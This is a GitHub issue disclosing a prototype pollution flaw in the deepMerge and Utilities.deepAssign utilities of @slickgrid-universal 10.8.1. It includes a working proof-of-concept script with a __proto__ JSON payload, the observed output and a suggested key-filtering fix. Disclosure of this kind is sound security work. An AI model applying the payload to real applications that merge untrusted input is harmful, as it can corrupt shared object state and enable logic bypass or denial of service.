Skip to content

Prototype pollution in public deepMerge / Utilities.deepAssign utility #2629

Description

@Dremig

Describe the bug

The public @slickgrid-universal/common package exports deepMerge from @slickgrid-universal/utils and also exposes it as Utilities.deepAssign.

When either public API is used to deep merge an object containing an own __proto__ property, attacker-controlled properties can be written to Object.prototype. After that, newly created plain objects in the same JavaScript process inherit the polluted property.

This appears to affect the latest published version I tested:

  • @slickgrid-universal/common@10.8.1
  • @slickgrid-universal/utils@10.8.1

Relevant source paths:

  • packages/common/src/index.ts
    • re-exports @slickgrid-universal/utils
    • exposes deepAssign: Utils.deepMerge inside Utilities
  • packages/utils/src/utils.ts
    • deepMerge() iterates Object.keys(source)
    • it does not reject dangerous keys such as __proto__, constructor, or prototype
    • when prop === "__proto__", prop in target is true for a normal object and target[prop] resolves to Object.prototype
    • the recursive merge then writes attacker-controlled properties onto Object.prototype

Expected behavior:

deepMerge() / Utilities.deepAssign() should not mutate Object.prototype, and dangerous prototype-related keys should be ignored or handled as safe data properties.

Reproduction

rm -rf /tmp/slickgrid-common-poc
mkdir /tmp/slickgrid-common-poc
cd /tmp/slickgrid-common-poc

npm init -y
npm install --ignore-scripts --no-audit --no-fund @slickgrid-universal/common@10.8.1

cat > poc.mjs <<'JS'
import { deepMerge, Utilities } from '@slickgrid-universal/common';

delete Object.prototype.slickgridUniversalPolluted;

const payload = JSON.parse('{"__proto__":{"slickgridUniversalPolluted":"yes"}}');

Utilities.deepAssign({}, payload);
console.log('after Utilities.deepAssign:', ({}).slickgridUniversalPolluted);

delete Object.prototype.slickgridUniversalPolluted;

deepMerge({}, payload);
console.log('after deepMerge:', ({}).slickgridUniversalPolluted);

delete Object.prototype.slickgridUniversalPolluted;
JS

node poc.mjs

Observed output:

after Utilities.deepAssign: yes
after deepMerge: yes

Expected output:

after Utilities.deepAssign: undefined
after deepMerge: undefined

Why this matters:

If an application deep merges user-controlled or partially user-controlled objects, prototype pollution can affect later application logic that relies on plain objects, default option objects, inherited properties, or property-existence checks. Depending on how polluted properties are consumed by the application, this can lead to unexpected behavior, logic bypass, denial of service, or other application-specific impact.

Suggested fix:

Before assigning or recursively merging a key, reject prototype-pollution primitives:

if (prop === '__proto__' || prop === 'constructor' || prop === 'prototype') {
  return;
}

It would also be safer to avoid prop in target for merge decisions on untrusted keys because it walks the prototype chain. Prefer checking own properties on the target, and avoid recursing into inherited prototype objects.

Which Framework are you using?

Other

Environment Info

| Executable          | Version |
| ------------------- | ------- |
| Framework used      | Other / framework-independent |
| Slickgrid-Universal | @slickgrid-universal/common 10.8.1, @slickgrid-universal/utils 10.8.1 |
| TypeScript          | N/A |
| Browser(s)          | N/A, reproduced in Node.js |
| System OS           | macOS 15.6 |

Validations

Metadata

Metadata

Assignees

No one assigned

    Labels

    securityPull requests that address a security vulnerability

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions